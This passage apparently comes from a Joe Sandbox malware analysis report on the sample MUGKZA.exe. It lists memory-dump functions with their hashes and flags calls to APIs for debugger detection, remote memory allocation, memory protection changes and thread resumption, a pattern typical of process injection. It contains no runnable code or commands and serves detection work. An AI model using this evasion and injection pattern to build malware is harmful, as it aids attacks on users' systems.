APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 00FED2B6

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: f4e85f9332cd0fe58de884978efeef1ec731ffdac170487359178a8e92826fc0
Instruction ID: 7e00f43515b38dd829da71ae184f8663aec0b3ca4aec008795b7d3c1d20eeda0
Opcode Fuzzy Hash: f4e85f9332cd0fe58de884978efeef1ec731ffdac170487359178a8e92826fc0
Instruction Fuzzy Hash: CF1144B1D002498FDB10DFAAC5846EEFBF5EF88324F10842AD459A7250CB789945CFA0

Function 00FEE938 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00FEE9AE

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4b3849a578fe1028282c6eac950154e8c8453b8639216a2ebbe95282d4ebdbc7
Instruction ID: 27c30f0f3be57741db291682e1729c4afccffc0cb0d71f32455830337836ee3a
Opcode Fuzzy Hash: 4b3849a578fe1028282c6eac950154e8c8453b8639216a2ebbe95282d4ebdbc7
Instruction Fuzzy Hash: 8E1156729002489FCB20DFAAC845BDFBBF5EF48324F248819E555A7250C775A940CFA5

Function 00FE0D10 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00FE0D83

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 49314833a2951ecd180126a6de6a6778c62c8792fecb0967a15125c238ed8ed6
Instruction ID: f562ed8120dae4cd8d930e719b93779a7f9c0baf21cd1af2dd5b09276bc21247
Opcode Fuzzy Hash: 49314833a2951ecd180126a6de6a6778c62c8792fecb0967a15125c238ed8ed6
Instruction Fuzzy Hash: 5C21E4B59002499FCB10DF9AC884BDEFBF4FB48324F108429E958A7251D778A984DFA5

Function 00FEE940 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00FEE9AE

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 31d40eb9cd99e2ccca8f4f8002dc171b6002f610f43d184148dd2dada534f5b2
Instruction ID: 38c5158ae2cbde95b9d5291f5f447f0963a60efc1fb3d867615a86d0dd7f1770
Opcode Fuzzy Hash: 31d40eb9cd99e2ccca8f4f8002dc171b6002f610f43d184148dd2dada534f5b2
Instruction Fuzzy Hash: EF1126719002499FCB20DFAAC844ADEBBF5EB48324F108819E555A7250C775A944DFA5

Function 00FEE7B1 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00FEE81A

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: af67c432845e8a979ae6a3a3da54a64168f6b850ff0a98d34f3c985a48d05f62
Instruction ID: 081b6e2c8a26e010df0f09408c1226782c052aed92be698b5919784f5ef93fd7
Opcode Fuzzy Hash: af67c432845e8a979ae6a3a3da54a64168f6b850ff0a98d34f3c985a48d05f62
Instruction Fuzzy Hash: A51158B1D003588BCB20DFAAC4457DFFBF8EB88324F24842AD459A7250C774A944CFA4

Function 00FEE7B8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00FEE81A

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: bda2857189c5936ea877f943ca82ff67aa84095bf842034371fecd11dee6adf0
Instruction ID: fe6e09e804b167df2d41528458facdabc28ea6caf0f7af614627570da2a8d936
Opcode Fuzzy Hash: bda2857189c5936ea877f943ca82ff67aa84095bf842034371fecd11dee6adf0
Instruction Fuzzy Hash: D5113AB1D003588FDB20DFAAC4457DEFBF4EB88324F248429D459A7254C775A944CF94

Function 00FEA884 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 00FED367

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f245aa32f807a7b566882b4cf94eeca185399fe59a3a76e97c0b3c51121750e7
Instruction ID: ae42d88df382db4d0b2bd13e598e006089cda5c4564a8ebff7cc9db53ae784ef
Opcode Fuzzy Hash: f245aa32f807a7b566882b4cf94eeca185399fe59a3a76e97c0b3c51121750e7
Instruction Fuzzy Hash: FF11FEB1900349CFCB20DF9AD444BDEBBF4EB48324F20846AE558A7650C374A944CFA6

Function 00FED300 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 00FED367

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 275d5d41715b3c2c015298665376d3f7bb2e78f518f73feb3265645973d86c45
Instruction ID: 4f7f9c953ec6182f2badd99e7a18faab411b38b83e9bcfc1475529faf75da772
Opcode Fuzzy Hash: 275d5d41715b3c2c015298665376d3f7bb2e78f518f73feb3265645973d86c45
Instruction Fuzzy Hash: 4D1122B1900299CFCB20CFAAD484BDEBFF4EF48324F24846AD458A7241C375A945CFA5

Function 00BAD01C Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1686652084.0000000000BAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bad000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d54ed09ec8d6c47269e5db9c8c0fb46951e9222e010ff5823b220b6ddf44df0b
Instruction ID: 112bbef392be5b1b25578feb1a955febc7582d4eda150af362052e569677f5a3
Opcode Fuzzy Hash: d54ed09ec8d6c47269e5db9c8c0fb46951e9222e010ff5823b220b6ddf44df0b
Instruction Fuzzy Hash: F5212370608240DFCB24DF24C6D4B26BBE5FB95314F20C6ADE84A4B651C33AD847C662

Function 00BAD006 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1686652084.0000000000BAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bad000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5627a8d74b27d33bff351f5e329b3d781aae1103a83ecea1d7db6064db19b875
Instruction ID: 710f5db7968b30303e84f8b78e76f88f9bd761619fbe92b81eca54e5c42e734b
Opcode Fuzzy Hash: 5627a8d74b27d33bff351f5e329b3d781aae1103a83ecea1d7db6064db19b875
Instruction Fuzzy Hash: 1321A57550D3808FD716DF20D594715BFB1EB56314F24C5EAD8498B693C33AD80ACB52

Function 04F20561 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1690629239.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f20000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44f0db30740dd91f2176f0c97afcbbe35eb5d6cb83a78374e5f46bb2e972ce7
Instruction ID: 36a844c23c148d2ca2b442ac98b927f3cbe71c78222fac186ccee62980b49a66
Opcode Fuzzy Hash: d44f0db30740dd91f2176f0c97afcbbe35eb5d6cb83a78374e5f46bb2e972ce7
Instruction Fuzzy Hash: 06F05E6154E3C18FC767C778D8545647FB09F07220B1902CBD590CF6F3D2655A45D752

Function 04F20580 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1690629239.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f20000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1f8f5dffcef8c1d6e61b4b000623ea4a9685dbd35d8683f0717bfc44a49e52
Instruction ID: 05db6ee1750894e32323945550a3ad4fd2552b75226b69ac88490a457cb071b4
Opcode Fuzzy Hash: 1d1f8f5dffcef8c1d6e61b4b000623ea4a9685dbd35d8683f0717bfc44a49e52
Instruction Fuzzy Hash: 90E0B674E01208DFC744DFA8D58569CBFF4AB09301F2040A9E90497360EA30AA54DB81

Non-executed Functions

Function 00FE9CB0 Relevance: 1.6, Strings: 1, Instructions: 397COMMON

Download Yara Rule

Strings

poq, xrefs: 00FE9F5A

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID:
String ID: poq
API String ID: 0-1570044193
Opcode ID: ed310360546576f99879c657c3d0906e77ad3a8ce22b152234cc59b1729e5cae
Instruction ID: 95d69641a7ee811de5a3e8e04e3aaf62ca8fbe006b5de967a116122b9bc8d167
Opcode Fuzzy Hash: ed310360546576f99879c657c3d0906e77ad3a8ce22b152234cc59b1729e5cae
Instruction Fuzzy Hash: 89020275A04218DFDB15CFA9C980E9DBBB2FF49310F1580A9E509AB232DB31E991DF50

Function 00FE9CA0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b73549caadf66dbf7de4d602130f3e663b00e4743fa7029bb4e38ab8c58e2b
Instruction ID: c246bb635fa0f1056ee6b841e0f8ebc965c3774e47aa4b7b2ec25e1c32b35937
Opcode Fuzzy Hash: 13b73549caadf66dbf7de4d602130f3e663b00e4743fa7029bb4e38ab8c58e2b
Instruction Fuzzy Hash: DA510875E042188FDB14CFAAD940ADDBBF2FF89300F14D1AAD809AB225EB305A45DF50

Analysis Process: MUGKZA.exePID: 7392, Parent PID: 7348COMMON

Executed Functions

Function 028095A8 Relevance: 3.0, Instructions: 3017COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e360f527ccd338ea96f5fe031c1c9fa0e5cde2ca0f38a3b8a3fca86ab7d89d0a
Instruction ID: d1926856ce40ca4faf888156739671602175dae245904a842655b6d2eab76c37
Opcode Fuzzy Hash: e360f527ccd338ea96f5fe031c1c9fa0e5cde2ca0f38a3b8a3fca86ab7d89d0a
Instruction Fuzzy Hash: 98631C35D10B198EDB55EF68C8806A9F7B1FF99300F11D79AE458B7121EB70AAC4CB81

Function 0280959B Relevance: 2.4, Instructions: 2414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2d7a29c6479779e6f19def119e4ce7f06564e7dd4a0ffa0adeb4e4eb891dba2
Instruction ID: 9d61cf25b29bc30fec7e638400dc2c3c88ccf298ff0a8ac6fe484f5ff26837b0
Opcode Fuzzy Hash: f2d7a29c6479779e6f19def119e4ce7f06564e7dd4a0ffa0adeb4e4eb891dba2
Instruction Fuzzy Hash: 9D43E731C10B1A8ADB55EF68C884699F7B1FF99300F51D79AE4587B121EB70AAC4CF81

Function 0280C8A0 Relevance: 2.2, Instructions: 2235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43a96ba40260c3ca4350f7dde9932641fedf67e512a19d2d8a6c325c21e55c0f
Instruction ID: 46ce591619a6665a7c93ef1f58871dd189d1a17b592f1a656058761700e0616b
Opcode Fuzzy Hash: 43a96ba40260c3ca4350f7dde9932641fedf67e512a19d2d8a6c325c21e55c0f
Instruction Fuzzy Hash: 01332D35D10B198ECB15EF68C8806ADF7B1FF99300F11D79AE448A7265EB70AAC5CB41

Function 02808D30 Relevance: .6, Instructions: 612COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0f2a88e414a0704d4fd4263758e05ca566f1ae5101fff6d08f8824bbc64ee1c
Instruction ID: 0c7e244b67f6705a03bde5dd609e7e65bf1e0e5cf4c3d73ef3668c43f464b55f
Opcode Fuzzy Hash: a0f2a88e414a0704d4fd4263758e05ca566f1ae5101fff6d08f8824bbc64ee1c
Instruction Fuzzy Hash: 72327F79B002058FDB54DFA8D984BADBBB6EF88710F148569E409EB3A5DB34DC41CB90

Function 028041E8 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 898ff17bbc576d70b6153eb4c8309a75cc9b8da921d6b760ef29a9ec4a9ae457
Instruction ID: cc46a18abbf35a50d03fc53a5962217241bd115368247a315a4ffe81b293f9ae
Opcode Fuzzy Hash: 898ff17bbc576d70b6153eb4c8309a75cc9b8da921d6b760ef29a9ec4a9ae457
Instruction Fuzzy Hash: DDB14BB8E40209CFDB50CFA9DDC579DBBF2AF88318F148129D919E7294EB749845CB81

Function 02804AB8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79d68ec723de9d23265c02b06af7b800e0cc09cabc3a705f45a19bb301bfa345
Instruction ID: cb9e41f67c21491bf93721c2ce8e938fba6b2e722394ca5befb41148cda02ce0
Opcode Fuzzy Hash: 79d68ec723de9d23265c02b06af7b800e0cc09cabc3a705f45a19bb301bfa345
Instruction Fuzzy Hash: 88B18E78E40209DFDB50CFA8CDD179DBBF2AF88314F148129D919E7294EB749885CB81

Function 02803EA0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc07ba9138150f576a273a68eb67dddf7579b69feb7be7fc2795416373c8b2aa
Instruction ID: 42caaa4ea1e4bf105971d02b09a20a6f78b47a50770f2b2f4ce19eded0e819da
Opcode Fuzzy Hash: cc07ba9138150f576a273a68eb67dddf7579b69feb7be7fc2795416373c8b2aa
Instruction Fuzzy Hash: 87914C78E00209DFDB54CFA9CDC579EBBF2AF88314F148129E519E7294EB749885CB81

Function 0280ED55 Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

PHkq, xrefs: 0280EEA3
], xrefs: 0280ED45

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID: PHkq$]
API String ID: 0-2296972374
Opcode ID: 7f73f5e36387fc8390334dbbd24ae9522c045309da92c744da7376aafcde2707
Instruction ID: 99a7d090182d838a8a2019b7a5dbd8f36b361592be98c9ff0e30a105ddc8940e
Opcode Fuzzy Hash: 7f73f5e36387fc8390334dbbd24ae9522c045309da92c744da7376aafcde2707
Instruction Fuzzy Hash: A851A4397002098FDB559B74C99466FB7E6EB88210F148969D40ADB3D5EF34DC42CB90

Function 0280ED68 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PHkq, xrefs: 0280EEA3

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID: PHkq
API String ID: 0-902561536
Opcode ID: 4638775ec4e3711d511f8a2f35cc104cf7c6f8d5e314593845b8fb02e4e9220e
Instruction ID: 420121240c4991546853527c40fb11b42febf20d488415663bc75c8379413200
Opcode Fuzzy Hash: 4638775ec4e3711d511f8a2f35cc104cf7c6f8d5e314593845b8fb02e4e9220e
Instruction Fuzzy Hash: F531B4397002098FDB699B34DA9466F77A7ABC5210B244869D40ADB3D5EF35DC41C790

Function 02807088 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

LRkq, xrefs: 028070BA

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID: LRkq
API String ID: 0-1052062081
Opcode ID: 784adcad483a67aed7b13133521335f056328610d6603da636df6a950d7950b1
Instruction ID: 9000433467fb21ab49fa16d0292f879693339c76dc9910432d9bf54543115f2b
Opcode Fuzzy Hash: 784adcad483a67aed7b13133521335f056328610d6603da636df6a950d7950b1
Instruction Fuzzy Hash: 80316038E002099BEB64DF65D884BAEF7B1FF49304F108529E506EB2D4DB75AD42CB50

Function 02807077 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

LRkq, xrefs: 028070BA

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID: LRkq
API String ID: 0-1052062081
Opcode ID: 4e28a3c8d96ffa16a2b9bca0bb75a2cc6bd08af8c9a9be91f9bcd40c9029b08c
Instruction ID: 58218824210dac33f12c407d1c091b3fd477665ad56ecdfc3c9572fde29642d0
Opcode Fuzzy Hash: 4e28a3c8d96ffa16a2b9bca0bb75a2cc6bd08af8c9a9be91f9bcd40c9029b08c
Instruction Fuzzy Hash: 12316338E102199BEB64DF65C990B9EF7B1EF85300F208529E805EB394E775ED42CB51

Function 02806BC1 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

LRkq, xrefs: 02806BF7

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID: LRkq
API String ID: 0-1052062081
Opcode ID: 9c6a601f0488b00aba77107ccc0b8fdc51ede51a2c68035d44ad787bcc2b062b
Instruction ID: 93131b5d8d9db372c3b48dc4587c35c69fd5dfd65e1a759e665f1622cf1806c4
Opcode Fuzzy Hash: 9c6a601f0488b00aba77107ccc0b8fdc51ede51a2c68035d44ad787bcc2b062b
Instruction Fuzzy Hash: 1E21F3707082008FD715BB39E4146AE7BB6EF85310F1184AED549CB799EE399D41C7A2

Function 02807640 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04f26dc57443688bacab317945eed5898d6ea708605e3a4429bde8d89d992e65
Instruction ID: 251cc50d494313d9ff2c83a9c52f6f531900652995ae5b62bfaa6e2cecb37f10
Opcode Fuzzy Hash: 04f26dc57443688bacab317945eed5898d6ea708605e3a4429bde8d89d992e65
Instruction Fuzzy Hash: A7B16234700602DFDB65BB3CE89466873A2EB89354B20893DD01ACF3A5DF75ED869790

Function 028041DD Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e30244a7dd1bb6910e56de7b8fb12178b4b651acdb319c4f390074357dc14d42
Instruction ID: 70531552a3538b15065c3ece9de6b4b0da433ce1174e035d80059d1938ec7c1c
Opcode Fuzzy Hash: e30244a7dd1bb6910e56de7b8fb12178b4b651acdb319c4f390074357dc14d42
Instruction Fuzzy Hash: BEB15AB8E40209CFDB50CFA9DD8579DBBF2AF88308F148129D919E7294EB749845CB81

Function 02804AAC Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f371b4322e9cf388916dd0f4515b4f3c0c7a2542d4e01f3b44b3c27a92fd46f3
Instruction ID: 85a4cc62264ba2e436bf0524b326881c380461a46a9257fe6f9b60be62d56f8a
Opcode Fuzzy Hash: f371b4322e9cf388916dd0f4515b4f3c0c7a2542d4e01f3b44b3c27a92fd46f3
Instruction Fuzzy Hash: F2A15C78E40209DFDB50CFA8CDD179DBBF2AF48318F148129D919E72A4EB749885CB91

Function 02808D1C Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18476bcf17eb14f0221c8f119e3d0c4a5595e209e92b9d32c8219353cdd44888
Instruction ID: 897d93f35adb05e3280f849d652ef8141480b2ec476f13c044b52ea149dd5e2c
Opcode Fuzzy Hash: 18476bcf17eb14f0221c8f119e3d0c4a5595e209e92b9d32c8219353cdd44888
Instruction Fuzzy Hash: 8C914F39A002059FDB54DF64D984AADBBF6EF88310F148565E809EB3E5DB34ED81CB50

Function 02803E94 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11f89bc4fd775848939273c861dcaa1cc6193c97e27a819b46904d3b6685f2be
Instruction ID: e1af6e0e814d04441b2bbb2631ef6178ea79cebf05dcb5cbc7f15b089efbdf76
Opcode Fuzzy Hash: 11f89bc4fd775848939273c861dcaa1cc6193c97e27a819b46904d3b6685f2be
Instruction Fuzzy Hash: AE914B78E00209DFDB50CFA9CD857DEBBF2AF48314F148129E919E7294EB349885CB91

Function 02804830 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a334909458fe30b9daa179f7e09b0051dddfdf08c8846c088bdbcd7046f159ea
Instruction ID: 7abbf64c89104713110044f9c18adf49eb93f63b3bc8186a99ec13c8a9acc7b5
Opcode Fuzzy Hash: a334909458fe30b9daa179f7e09b0051dddfdf08c8846c088bdbcd7046f159ea
Instruction Fuzzy Hash: 2F715E78E40209CFDB50CFA9C98179EBBF2BF88314F148129E519E72A4EB749841CF95

Function 02804824 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f815e30fce8f3e3ff0748a1c2b917bb4d8289741543645007ef5a94fd0ee77fa
Instruction ID: 546b9d89199491ce39dda0fe873bb3c417a79f985a62800c31906dddc9fea85e
Opcode Fuzzy Hash: f815e30fce8f3e3ff0748a1c2b917bb4d8289741543645007ef5a94fd0ee77fa
Instruction Fuzzy Hash: D07149B8E40209CFDB50CFA9C98179DBBF2BF88314F148129E519E72A4EB349855CB95

Function 02806D08 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abe942c7d450e27af2dae9b4389a2e50c1ea144397b39cbad0e7f61e2dabbfd4
Instruction ID: b866f038df221e8c66656235284c302c2d07f5b2cf20734bc9beeb3c21510dd8
Opcode Fuzzy Hash: abe942c7d450e27af2dae9b4389a2e50c1ea144397b39cbad0e7f61e2dabbfd4
Instruction Fuzzy Hash: BB51F278D003288FDB54CFA9C994B9EBBF5BF48314F248119E819AB394E774A844CF95

Function 02806D03 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 517ca19c38873ad299bae13c8af95fc4239e62358da805dc8f495d27210e6b18
Instruction ID: 6d0d06d068ccb583a9054ca68a35a8736097780c112a36ffbd131cc25ee12786
Opcode Fuzzy Hash: 517ca19c38873ad299bae13c8af95fc4239e62358da805dc8f495d27210e6b18
Instruction Fuzzy Hash: A051F378D002288FDB58CFA9C99479DBBF5BF48314F148129D819AB394EB74A844CB94

Function 02801138 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2954623873.0000000002800000.00000040.00000800.00020000.00000000.sdmp, Offset: 02800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2800000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
